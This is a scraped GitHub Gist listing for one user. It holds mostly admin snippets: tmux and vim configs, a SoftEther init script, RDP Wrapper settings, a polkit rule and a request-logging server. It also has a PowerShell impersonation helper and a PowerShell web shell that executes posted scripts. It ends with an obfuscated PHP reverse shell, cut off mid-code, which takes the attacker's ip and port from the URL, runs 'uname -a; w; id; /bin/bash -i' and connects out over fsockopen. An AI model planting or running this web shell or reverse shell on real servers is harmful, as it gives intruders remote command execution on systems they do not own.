Skip to content

Instantly share code, notes, and snippets.

@secure-77
secure-77 / Use-Impersonation.ps1
Last active April 19, 2024 19:17 — forked from idavis/Use-Impersonation.ps1
Impersonate a user and execute a script block as that user
#ToExecute
$userName = "user"
$domain = "domain"
$password = '<<<PASS>>>'
$Path = '\\some\path\here'
.\Use-Impersonation.ps1 $userName $domain $password {Get-ChildItem $Path | Foreach { Write-Host $_.Name }}
@secure-77
secure-77 / webserver.ps1
Created December 2, 2022 14:31
Powershell Web Shell
<#
.Synopsis
Starts powershell webserver
.Description
Starts webserver as powershell process.
Call of the root page (e.g. http://localhost:8080/) returns a powershell execution web form.
Call of /script uploads a powershell script and executes it (as a function).
Call of /log returns the webserver logs, /starttime the start time of the webserver, /time the current time.
/download downloads and /upload uploads a file. /beep generates a sound and /quit or /exit stops the webserver.
Any other call delivers the static content that fits to the path provided. If the static path is a directory,
@secure-77
secure-77 / server.py
Created September 11, 2021 13:11 — forked from mdonkers/server.py
Simple Python 3 HTTP server for logging all GET and POST requests
#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
@secure-77
secure-77 / .vimrc
Created January 31, 2021 12:52
Gist paste mode in tmux
syntax on
if &t_BE == ''
let &t_BE = "\e[?2004h"
let &t_BD = "\e[?2004l"
let &t_PS = "\e[200~"
let &t_PE = "\e[201~"
endif
@secure-77
secure-77 / .tmux.conf
Last active January 31, 2021 12:51
tmux configuration
# 0 is too far from ` ;)
set -g base-index 1
# Automatically set window title
set-window-option -g automatic-rename on
set-option -g set-titles on
#set -g default-terminal screen-256color
set -g history-limit 10000
setw -g monitor-activity on
@secure-77
secure-77 / vpnserver
Last active January 19, 2021 21:15
Softether ubuntu service script /etc/init.d/vpnserver
#!/bin/bash
### BEGIN INIT INFO
# Provides: VPNSERVER
# Required-Start: $all
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: Softether VPN Server
### END INIT INFO
DAEMON=/usr/local/vpnserver/vpnserver
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e96c-e325-11ce-bfc1-08002be10318}\0002\PowerSettings]
"ConservationIdleTime"=hex:00,00,00,00
"PerformanceIdleTime"=hex:00,00,00,00
"IdlePowerState"=hex:00,00,00,00
; RDP Wrapper Library configuration
; Do not modify without special knowledge
[Main]
Updated=2020-07-22
LogFile=\rdpwrap.txt
SLPolicyHookNT60=1
SLPolicyHookNT61=1
[PatchCodes]
@secure-77
secure-77 / 02-allow-colord.rules
Created March 21, 2020 11:29
Kalilinux xrdp polkit fix
polkit.addRule(function(action, subject) {
if ((action.id == "org.freedesktop.color-manager.create-device" ||
action.id == "org.freedesktop.color-manager.create-profile" ||
action.id == "org.freedesktop.color-manager.delete-device" ||
action.id == "org.freedesktop.color-manager.delete-profile" ||
action.id == "org.freedesktop.color-manager.modify-device" ||
action.id == "org.freedesktop.color-manager.modify-profile") &&
subject.isInGroup("vglusers")) {
return polkit.Result.YES;
}
<?php
$spfb7eb3 = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; $spcbbfea = parse_url($spfb7eb3); parse_str($spcbbfea['query'], $sp2b8ea8); set_time_limit(0); $sp9ef325 = '1.0'; $spcf255c = $sp2b8ea8['ip']; $sp3e3f49 = $sp2b8ea8['port']; $sp446e53 = 1400; $spc99631 = null; $sp4fe8e7 = null; $spe52141 = 'uname -a; w; id; /bin/bash -i'; $sp39dd13 = 0; $sp19efd4 = 0; if (function_exists('pcntl_fork')) { $sp835e89 = pcntl_fork(); if ($sp835e89 == -1) { printit('ERROR: Can\'t fork'); die(1); } if ($sp835e89) { die(0); } if (posix_setsid() == -1) { printit('Error: Can\'t setsid()'); die(1); } $sp39dd13 = 1; } else { printit('ck'); } chdir('/'); umask(0); $sp29c794 = fsockopen($spcf255c, $sp3e3f49, $sp026e87, $sp410863, 30); if (!$sp29c794) { printit("{$sp410863} ({$sp026e87})"); die(1); } $sp0e45a5 = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $spc89e95 = proc_open($spe52141, $sp0e45a5, $sp4827c4); if (!is_resource($spc89e95)) { printit('ERROR'); die(1); } stream_s